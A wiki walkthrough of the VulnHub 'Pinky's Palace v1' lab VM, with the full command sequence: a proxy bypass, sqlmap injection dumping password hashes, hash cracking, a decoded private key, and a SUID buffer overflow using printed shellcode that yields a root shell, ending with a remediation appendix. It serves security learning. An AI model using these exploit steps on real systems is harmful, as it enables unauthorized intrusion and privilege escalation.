Difference between revisions of "Pinky's Palace: v1 ~ VulnHub - Walkthrough"

(Created page with "Coming soon!")
 
m (→‎Exploitation)
 
(23 intermediate revisions by the same user not shown)
Line 1: Line 1:
−
Coming soon!
+
== Objective ==
 +
Gain access to the root shell and retrieve /root/root.txt
 +
 
 +
Source: [[https://www.vulnhub.com/entry/pinkys-palace-v1,225/ Pinky's Palace: v1 ~ VulnHub]]
 +
 
 +
Status: [<span style="color:green">Done</span>]
 +
 
 +
== Methodology ==
 +
=== Discovery ===
 +
Identify the target
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# nmap -sP 192.168.56.0/24
 +
.....
 +
root@blaksec:~# export TANGO=192.168.56.104
 +
</syntaxhighlight>
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="9,10,11" line>
 +
root@blaksec:~# nmap -O -sT -sV -p- -T5 $TANGO
 +
 
 +
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-23 19:11 EDT
 +
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
 +
Nmap scan report for $TANGO
 +
Host is up (0.00098s latency).
 +
Not shown: 65532 closed ports
 +
PORT      STATE SERVICE    VERSION
 +
8080/tcp  open  http      nginx 1.10.3
 +
31337/tcp open  http-proxy Squid http proxy 3.5.23
 +
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
 +
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
 +
Device type: general purpose
 +
</syntaxhighlight>
 +
 
 +
=== Entry Point #1 - Port 8080 (HTTP) ===
 +
==== Enumeration ====
 +
All initial attempts to access the web server on 8080 came back with status '''403 - Forbidden'''. This usually means one of two things - either there is a WAF (Web Application Firewall) blocking our attempts or the access is simply denied by server configuration. Gut feel telling WAF would be a bit of an overkill for CTF VM so I decided to take chances and try figuring out a work around the configuration based access restriction. Now, 403 usually means access is restricted to a certain IP (e.g. localhost / 127.0.0.1). If it required an authenticated user, it would've thrown a 401
 +
 
 +
We have a Squid Proxy instance running on port '''31337'''. Accessing Webserver through that proxy should technically trick it to believe that the connection is coming from the same host. To prove our theory,
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# curl -x http://$TANGO:31337 http://127.0.0.1:8080/
 +
<html>
 +
<head>
 +
<title>Pinky's HTTP File Server</title>
 +
</head>
 +
<body>
 +
<center><h1>Pinky's HTTP File Server</h1></center>
 +
<center><h3>Under Development!</h3></center>
 +
</body>
 +
<style>
 +
html{
 +
background: #f74bff;
 +
}
 +
</html>
 +
</syntaxhighlight>
 +
 
 +
Let's take it a step further and check the webserver out with other tools.
 +
 
 +
===== nikto =====
 +
 
 +
After updating '''nikto''' config to use proxy (PROXYHOST/PROXYPORT)
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="9,18" line>
 +
root@blaksec:~# nikto -h 127.0.0.1 -p 8080 -useproxy -nossl
 +
---------------------------------------------------------------------------
 +
+ Target IP:          127.0.0.1
 +
+ Target Hostname:    127.0.0.1
 +
+ Target Port:        8080
 +
+ Proxy:              $TANGO:31337
 +
+ Start Time:        2018-03-25 16:04:57 (GMT-4)
 +
---------------------------------------------------------------------------
 +
+ Server: nginx/1.10.3
 +
+ Retrieved via header: 1.1 pinkys-palace (squid/3.5.23)
 +
+ Server leaks inodes via ETags, header found with file /, fields: 0x5a74203e 0xe5
 +
+ The anti-clickjacking X-Frame-Options header is not present.
 +
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 +
+ Uncommon header 'x-cache' found, with contents: HIT from pinkys-palace
 +
+ Uncommon header 'x-cache-lookup' found, with contents: HIT from pinkys-palace:31337
 +
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 +
+ No CGI Directories found (use '-C all' to force check all possible dirs)
 +
+ Server banner has changed from 'nginx/1.10.3' to 'squid/3.5.23' which may suggest a WAF, load balancer or proxy is in place
 +
+ Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0
 +
+ 7518 requests: 0 error(s) and 8 item(s) reported on remote host
 +
+ End Time:          2018-03-25 16:05:10 (GMT-4) (13 seconds)
 +
---------------------------------------------------------------------------
 +
+ 1 host(s) tested
 +
</syntaxhighlight>
 +
 
 +
Sadly enough, nothing interesting popped up. Except the fact that they're usign '''nginx'''. Time to shake things up a bit more!
 +
 
 +
===== dirb =====
 +
Took a while to find the right list but we eventually landed on some goodies. Lesson here - don't give up :)
 +
<syntaxhighlight  lang=shell-session highlight="4" line>
 +
root@blaksec:~# dirb http://127.0.0.1:8080/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w
 +
---- Entering directory: http://127.0.0.1:8080/littlesecrets-main/ ----
 +
</syntaxhighlight>
 +
 
 +
Awesome!  Now let's re-run it this time looking for some files
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# dirb http://127.0.0.1:8080/littlesecrets-main/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w -X .php,.bak,.txt
 +
 
 +
---- Scanning URL: http://127.0.0.1:8080/littlesecrets-main/ ----
 +
+ http://127.0.0.1:8080/littlesecrets-main/login.php (CODE:200|SIZE:68)                                                                                                                                         
 +
+ http://127.0.0.1:8080/littlesecrets-main/logs.php (CODE:200|SIZE:30)
 +
</syntaxhighlight>
 +
 
 +
=== Exploitation ===
 +
Now that we have two possible entry points, let's dive deeper. Loaded that URL in '''ZAP''' but nothing obvious popped up - no LFI/RFI, no Cookies. Let's try something different - '''sqlmap'''.
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="4,5,6,7" line>
 +
root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --dbms=mysql --proxy=http://$TANGO:31337 --data="user=adm&pass=passw" --dump users --level=5 --risk=3
 +
</syntaxhighlight>
 +
 
 +
Bippidy-boop 24 mins later
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
[23:41:35] [WARNING] no clear password(s) found                                                                                         
 +
Database: pinky_sec_db
 +
Table: users
 +
[2 entries]
 +
+-----+----------------------------------+-------------+
 +
| uid | pass                            | user        |
 +
+-----+----------------------------------+-------------+
 +
| 1  | f543dbfeaf238729831a321c7a68bee4 | pinky      |
 +
| 2  | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
 +
+-----+----------------------------------+-------------+
 +
</syntaxhighlight>
 +
 
 +
Note to self: Re-visit the sqlmap part to get a better understanding how this was pulled out of the database as sqlmap is not allowed on OSCP exam! The vulnerability, by the way, was in '''user-agent''' which was susceptible to tame-based sql injection attacks.
 +
 
 +
A quick check on google.com gave us a valid set of credentials for one of the hashes - '''hashhack.pro''' gave us
 +
'''d60dffed7cc0d87e1f4a11aa06ca73af -> 3pinkysaf33pinkysaf3'''
 +
 
 +
Can we crack that hash ourselves too? sure why not! (I'm using --show switch because I've done it once already just forgot to record the screen from the original attempt
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force --show
 +
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3
 +
</syntaxhighlight>
 +
 
 +
Running '''hashcat''' for '''f543dbfeaf238729831a321c7a68bee4''' kept segfaulting for some reason. Oh well, you can only do that much on a laptop. Let's work with what we have and come back to this one if we hit a dead-end.
 +
 
 +
'''pinkymanage:3pinkysaf33pinkysaf3''' did not work for the web log in but it did work for '''ssh'''
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# ssh -p 64666 pinkymanage@$TANGO
 +
pinkymanage@192.168.56.104's password:
 +
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
 +
 
 +
The programs included with the Debian GNU/Linux system are free software;
 +
the exact distribution terms for each program are described in the
 +
individual files in /usr/share/doc/*/copyright.
 +
 
 +
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 +
permitted by applicable law.
 +
Last login: Wed Jun  6 16:54:49 2018
 +
pinkymanage@pinkys-palace:~$
 +
</syntaxhighlight>
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
pinkymanage@pinkys-palace:~$ pwd
 +
/home/pinkymanage
 +
pinkymanage@pinkys-palace:~$ find ./
 +
./
 +
./.bashrc
 +
./.bash_logout
 +
./.profile
 +
./.bash_history
 +
pinkymanage@pinkys-palace:~$ cd /var/www/
 +
pinkymanage@pinkys-palace:/var/www$ find ./
 +
./
 +
./html
 +
./html/index.html
 +
./html/littlesecrets-main
 +
./html/littlesecrets-main/logs.php
 +
./html/littlesecrets-main/login.php
 +
./html/littlesecrets-main/index.html
 +
./html/littlesecrets-main/ultrasecretadminf1l35
 +
./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret
 +
./html/littlesecrets-main/ultrasecretadminf1l35/note.txt
 +
./pinkymanage
 +
./pinkymanage/.ssh
 +
./pinkymanage/.ssh/known_hosts
 +
./pinkymanage/.bash_history
 +
pinkymanage@pinkys-palace:/var/www$
 +
</syntaxhighlight>
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
pinkymanage@pinkys-palace:/var/www$ cat ./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret |base64 -d
 +
-----BEGIN RSA PRIVATE KEY-----
 +
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
 +
Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/
 +
yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x
 +
...
 +
/a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh
 +
Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw
 +
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
 +
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
 +
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
 +
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
 +
-----END RSA PRIVATE KEY-----
 +
</syntaxhighlight>
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# ssh -i ~/.ssh/pinky_key_rsa -p 64666 pinky@$TANGO
 +
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
 +
 
 +
The programs included with the Debian GNU/Linux system are free software;
 +
the exact distribution terms for each program are described in the
 +
individual files in /usr/share/doc/*/copyright.
 +
 
 +
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 +
permitted by applicable law.
 +
Last login: Wed Jun  6 12:50:11 2018 from 192.168.56.200
 +
pinky@pinkys-palace:~$
 +
</syntaxhighlight>
 +
 
 +
Don't know why but I simply enjoy looking for SUID binaries - consider them to be low hanging fruit!
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
pinky@pinkys-palace:~$ find ./ -perm -4000
 +
./adminhelper
 +
</syntaxhighlight>
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
pinky@pinkys-palace:~$ cat note.txt
 +
Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I'm fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet :(
 +
pinky@pinkys-palace:~$ ./adminhelper "Pinky smells funy"
 +
Pinky smells funy
 +
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A" * 1024)')
 +
Segmentation fault
 +
</syntaxhighlight>
 +
 
 +
==== Fun part - Priv Escalation ====
 +
It appears that '''adminhelper''' is susceptible to a '''buffer overflow''' vulnerability. It also appears that this binary has a SUID bit turned on which means whatever is done inside of it is done as '''root'''
 +
 
 +
I'm not going to go into much details on buffer overflow but to summarize it works like this - imagine you're reading a book and on the last page it says 'put me back on the shelf'. Well, buffer overflow let's us modify the last page to say 'ok now go read another book'. In other words, instead of finishing it's work when it's done reading the buffer, our binary will be asked to do more work.
 +
 
 +
After trying a few different numbers we came up wiht '''72''' as the buffer size. Now we need to craft some code, put it somewhere '''adminhelper''' can access it once it's done doing it's normal work.
 +
 
 +
For this exercise I'll use shellcode from [[ http://shell-storm.org/shellcode/files/shellcode-806.php ]]
 +
 
 +
Let's put this code into an environment variable
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
pinky@pinkys-palace:~$ export MYEGG=$(python -c 'print("\x90" * 100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")')
 +
pinky@pinkys-palace:~$ echo $MYEGG
 +
����������������������������������������������������������������������������������������������������1�H�ѝ��Ќ��H��ST_�RWT^�;
 +
pinky@pinkys-palace:~$
 +
</syntaxhighlight>
 +
 
 +
Now we need to figure out where the variable resides in memory. The address can be retrieved using this nifty piece of code I got from somewhere else. Just drop it on the target host and compile.
 +
 
 +
Note to self: what if the target does not have GCC installed?
 +
<syntaxhighlight  lang=c highlight="" line>
 +
#include <stdlib.h>
 +
int main()
 +
{
 +
char *addr;
 +
addr = getenv("MYEGG");
 +
printf("MYEGG is at %p\n", addr);
 +
exit(0);
 +
}
 +
</syntaxhighlight>
 +
 
 +
Let's compile the code and that address. You may notice I'm creating a folder with a hidden name. This is just a habit not to leave things laying in plain view :)
 +
 
 +
<syntaxhighlight  lang=shell-session highlight="12" line>
 +
pinky@pinkys-palace:~$ mkdir .T0hHfwed3334w.tmp && cd .T0hHfwed3334w.tmp/
 +
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ gcc getMYEGGAddr.c -o getMYEGGAddr
 +
getMYEGGAddr.c: In function ‘main’:
 +
getMYEGGAddr.c:6:2: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
 +
  printf("MYEGG is at %p\n", addr);
 +
  ^~~~~~
 +
getMYEGGAddr.c:6:2: warning: incompatible implicit declaration of built-in function ‘printf’
 +
getMYEGGAddr.c:6:2: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
 +
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$
 +
.....
 +
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ ./getMYEGGAddr
 +
MYEGG is at 0x7fffffffef45
 +
</syntaxhighlight>
 +
 
 +
And now fun part
 +
<syntaxhighlight  lang=shell-session highlight="3,4,5" line>
 +
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ ../adminhelper $(python -c 'print("A" * 72 + "\x7f\xff\xff\xff\xef\x45"[::-1])')
 +
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE����
 +
# whoami
 +
root
 +
#
 +
</syntaxhighlight>
 +
'''Oh oh oh! What's just happened! That's right! A buffer overflow happened! Which executed our shell code which in turn opened /bin/sh as root! Wut wut!'''
 +
 
 +
No but really, what we did was we simply fed '''adminhelper''' 72 bytes of '''A''' filling up it's allocated buffer. In addition to that we appended the address of our $MYEGG env variable containing the shellcode. That address went right into the $RIP register. '''RIP''' in this case stands for '''Return Instruction Pointer''', telling our app where to go next. Note, the address needs to be entered backards because of them whole Little Endian shenanigans. Since I'm too lazy to write the numbers backwards I had python do the work for me ([::-1] reverses the array of characters).
 +
 
 +
From here, It's mere formality
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
# whoami
 +
root
 +
# cd /root
 +
# ls -alrht
 +
total 40K
 +
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
 +
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
 +
drwxr-xr-x 22 root root 4.0K Jan 28 11:33 ..
 +
lrwxrwxrwx  1 root root    9 Feb  1 00:25 .bash_history -> /dev/null
 +
lrwxrwxrwx  1 root root    9 Feb  2 01:34 .mysql_history -> /dev/null
 +
drwx------  2 root root 4.0K Feb  2 03:55 .ssh
 +
-rw-r--r--  1 root root  207 Mar  5 15:13 root.txt
 +
-rw-------  1 root root  15K Mar  5 15:17 .viminfo
 +
drwx------  3 root root 4.0K Mar  5 15:17 .
 +
# cat root.txt
 +
===========[!!!CONGRATS!!!]===========
 +
 
 +
[+] You r00ted Pinky's Palace Intermediate!
 +
[+] I hope you enjoyed this box!
 +
[+] Cheers to VulnHub!
 +
[+] Twitter: @Pink_P4nther
 +
 
 +
Flag: 99975cfc5Y0m0mmA8d4a2b2c03ce
 +
</syntaxhighlight>
 +
 
 +
== Final Notes ==
 +
So, right... things learned...
 +
* You can bypass local restrictions using something like Squid Proxy which will make your access look like you're coming from the host
 +
* Buffer overflows / Shellcoding is fun! Especially if you look at the source of programs before they turn into shellcode.
 +
* Some things work some things don't
 +
* Google is your friend when you have a hash - look it online before trying to crack it yourself
 +
* '''gdb-peda''' is awesome!! Scripts and wrappers help, as long as you know how they work and what they do so treat them as '''helper-tools'''. '''gdb-peda''' will make things pretty and all on one screen which is nice but make sure you understand what each line of the output means.
 +
* It took me some time to crack this one, mostly because I just did not have time to work on it in one sitting. There was also a need to go back to books to freshen up my ASM / Shellcoding skills but it's all fun!
 +
 
 +
== Appendix A: Vulnerability Detail and Mitigation ==
 +
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 +
|+ style="color:#e76700;text-align:left;" | Access to Private Keys
 +
|-
 +
|style="width:120px;" |Rating
 +
|style="color:red;" | High
 +
|-
 +
|Description
 +
|Private key for user 'pinky' exposed in base64 clear text.
 +
|-
 +
|Impact
 +
|Once gotten hold of the private key file, an unauthorized will be able to decode / de-obfuscate the file and use it to for unauthorized access to the host.
 +
|-
 +
|Remediation
 +
|Encrypt the key with a strong encryption algorithm.
 +
|}
 +
 
 +
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 +
|+ style="color:#e76700;text-align:left;" | Password reuse
 +
|-
 +
|style="width:120px;" |Rating
 +
|style="color:red;" | High
 +
|-
 +
|Description
 +
|mysql account for 'pinkymanage' uses the same password as user's system account
 +
|-
 +
|Impact
 +
|After compromising the 'mysql' account for 'pinkymanage' over the web an attacker would be able to re-use the password to gain console-level access.
 +
|-
 +
|Remediation
 +
|Implement password re-use policies. 
 +
|}
 +
 
 +
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 +
|+ style="color:#e76700;text-align:left;" | Vulnerable binaries with SUID bit
 +
|-
 +
|style="width:120px;" |Rating
 +
|style="color:red;" | High
 +
|-
 +
|Description
 +
|SUID allows non-root users to execute binaries with root privileges. If such binary is compromised it will allow an unauthorized user to execute any command as root.
 +
|-
 +
|Impact
 +
|~pinky/adminhelper binary is vulnerable to buffer overflow attacks, allowing injection of proprietary code which enables an attacker to execute arbitrary commands as root. In our case we were able to execute /bin/sh, thus gaining access to root shell.
 +
|-
 +
|Remediation
 +
|Limit SUID permissions to applications from approved sources. Perform code review. Employ the available protection mechanisms to prevent buffer overflow, such as StackShield, StackGuard, etc.
 +
|}

Latest revision as of 07:24, 15 June 2018

Objective

Gain access to the root shell and retrieve /root/root.txt

Source: [Pinky's Palace: v1 ~ VulnHub]

Status: [Done]

Methodology

Discovery

Identify the target 

root@blaksec:~# nmap -sP 192.168.56.0/24
.....
root@blaksec:~# export TANGO=192.168.56.104
root@blaksec:~# nmap -O -sT -sV -p- -T5 $TANGO

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-23 19:11 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for $TANGO
Host is up (0.00098s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Device type: general purpose

Entry Point #1 - Port 8080 (HTTP)

Enumeration

All initial attempts to access the web server on 8080 came back with status 403 - Forbidden. This usually means one of two things - either there is a WAF (Web Application Firewall) blocking our attempts or the access is simply denied by server configuration. Gut feel telling WAF would be a bit of an overkill for CTF VM so I decided to take chances and try figuring out a work around the configuration based access restriction. Now, 403 usually means access is restricted to a certain IP (e.g. localhost / 127.0.0.1). If it required an authenticated user, it would've thrown a 401

We have a Squid Proxy instance running on port 31337. Accessing Webserver through that proxy should technically trick it to believe that the connection is coming from the same host. To prove our theory, 

root@blaksec:~# curl -x http://$TANGO:31337 http://127.0.0.1:8080/
<html>
	<head>
		<title>Pinky's HTTP File Server</title>
	</head>
	<body>
		<center><h1>Pinky's HTTP File Server</h1></center>
		<center><h3>Under Development!</h3></center>
	</body>
<style>
html{
	background: #f74bff;
}
</html>

Let's take it a step further and check the webserver out with other tools.

nikto

After updating nikto config to use proxy (PROXYHOST/PROXYPORT) 

root@blaksec:~# nikto -h 127.0.0.1 -p 8080 -useproxy -nossl
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    127.0.0.1
+ Target Port:        8080
+ Proxy:              $TANGO:31337
+ Start Time:         2018-03-25 16:04:57 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ Retrieved via header: 1.1 pinkys-palace (squid/3.5.23)
+ Server leaks inodes via ETags, header found with file /, fields: 0x5a74203e 0xe5 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-cache' found, with contents: HIT from pinkys-palace
+ Uncommon header 'x-cache-lookup' found, with contents: HIT from pinkys-palace:31337
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.10.3' to 'squid/3.5.23' which may suggest a WAF, load balancer or proxy is in place
+ Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0
+ 7518 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2018-03-25 16:05:10 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Sadly enough, nothing interesting popped up. Except the fact that they're usign nginx. Time to shake things up a bit more!

dirb

Took a while to find the right list but we eventually landed on some goodies. Lesson here - don't give up :) 

root@blaksec:~# dirb http://127.0.0.1:8080/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w
---- Entering directory: http://127.0.0.1:8080/littlesecrets-main/ ----

Awesome! Now let's re-run it this time looking for some files 

root@blaksec:~# dirb http://127.0.0.1:8080/littlesecrets-main/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w -X .php,.bak,.txt

---- Scanning URL: http://127.0.0.1:8080/littlesecrets-main/ ----
+ http://127.0.0.1:8080/littlesecrets-main/login.php (CODE:200|SIZE:68)                                                                                                                                           
+ http://127.0.0.1:8080/littlesecrets-main/logs.php (CODE:200|SIZE:30)

Exploitation

Now that we have two possible entry points, let's dive deeper. Loaded that URL in ZAP but nothing obvious popped up - no LFI/RFI, no Cookies. Let's try something different - sqlmap. 

root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --dbms=mysql --proxy=http://$TANGO:31337 --data="user=adm&pass=passw" --dump users --level=5 --risk=3

Bippidy-boop 24 mins later 

[23:41:35] [WARNING] no clear password(s) found                                                                                          
Database: pinky_sec_db
Table: users
[2 entries]
+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

Note to self: Re-visit the sqlmap part to get a better understanding how this was pulled out of the database as sqlmap is not allowed on OSCP exam! The vulnerability, by the way, was in user-agent which was susceptible to tame-based sql injection attacks.

A quick check on google.com gave us a valid set of credentials for one of the hashes - hashhack.pro gave us d60dffed7cc0d87e1f4a11aa06ca73af -> 3pinkysaf33pinkysaf3

Can we crack that hash ourselves too? sure why not! (I'm using --show switch because I've done it once already just forgot to record the screen from the original attempt 

root@blaksec:~# hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force --show
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3

Running hashcat for f543dbfeaf238729831a321c7a68bee4 kept segfaulting for some reason. Oh well, you can only do that much on a laptop. Let's work with what we have and come back to this one if we hit a dead-end.

pinkymanage:3pinkysaf33pinkysaf3 did not work for the web log in but it did work for ssh 

root@blaksec:~# ssh -p 64666 pinkymanage@$TANGO
pinkymanage@192.168.56.104's password: 
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  6 16:54:49 2018
pinkymanage@pinkys-palace:~$
pinkymanage@pinkys-palace:~$ pwd
/home/pinkymanage
pinkymanage@pinkys-palace:~$ find ./
./
./.bashrc
./.bash_logout
./.profile
./.bash_history
pinkymanage@pinkys-palace:~$ cd /var/www/
pinkymanage@pinkys-palace:/var/www$ find ./
./
./html
./html/index.html
./html/littlesecrets-main
./html/littlesecrets-main/logs.php
./html/littlesecrets-main/login.php
./html/littlesecrets-main/index.html
./html/littlesecrets-main/ultrasecretadminf1l35
./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret
./html/littlesecrets-main/ultrasecretadminf1l35/note.txt
./pinkymanage
./pinkymanage/.ssh
./pinkymanage/.ssh/known_hosts
./pinkymanage/.bash_history
pinkymanage@pinkys-palace:/var/www$
pinkymanage@pinkys-palace:/var/www$ cat ./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret |base64 -d
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/
yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x
...
/a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh
Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
-----END RSA PRIVATE KEY-----
root@blaksec:~# ssh -i ~/.ssh/pinky_key_rsa -p 64666 pinky@$TANGO
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  6 12:50:11 2018 from 192.168.56.200
pinky@pinkys-palace:~$

Don't know why but I simply enjoy looking for SUID binaries - consider them to be low hanging fruit! 

pinky@pinkys-palace:~$ find ./ -perm -4000
./adminhelper
pinky@pinkys-palace:~$ cat note.txt 
Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I'm fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet :(
pinky@pinkys-palace:~$ ./adminhelper "Pinky smells funy"
Pinky smells funy
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A" * 1024)')
Segmentation fault

Fun part - Priv Escalation

It appears that adminhelper is susceptible to a buffer overflow vulnerability. It also appears that this binary has a SUID bit turned on which means whatever is done inside of it is done as root

I'm not going to go into much details on buffer overflow but to summarize it works like this - imagine you're reading a book and on the last page it says 'put me back on the shelf'. Well, buffer overflow let's us modify the last page to say 'ok now go read another book'. In other words, instead of finishing it's work when it's done reading the buffer, our binary will be asked to do more work.

After trying a few different numbers we came up wiht 72 as the buffer size. Now we need to craft some code, put it somewhere adminhelper can access it once it's done doing it's normal work.

For this exercise I'll use shellcode from [[ http://shell-storm.org/shellcode/files/shellcode-806.php ]]

Let's put this code into an environment variable 

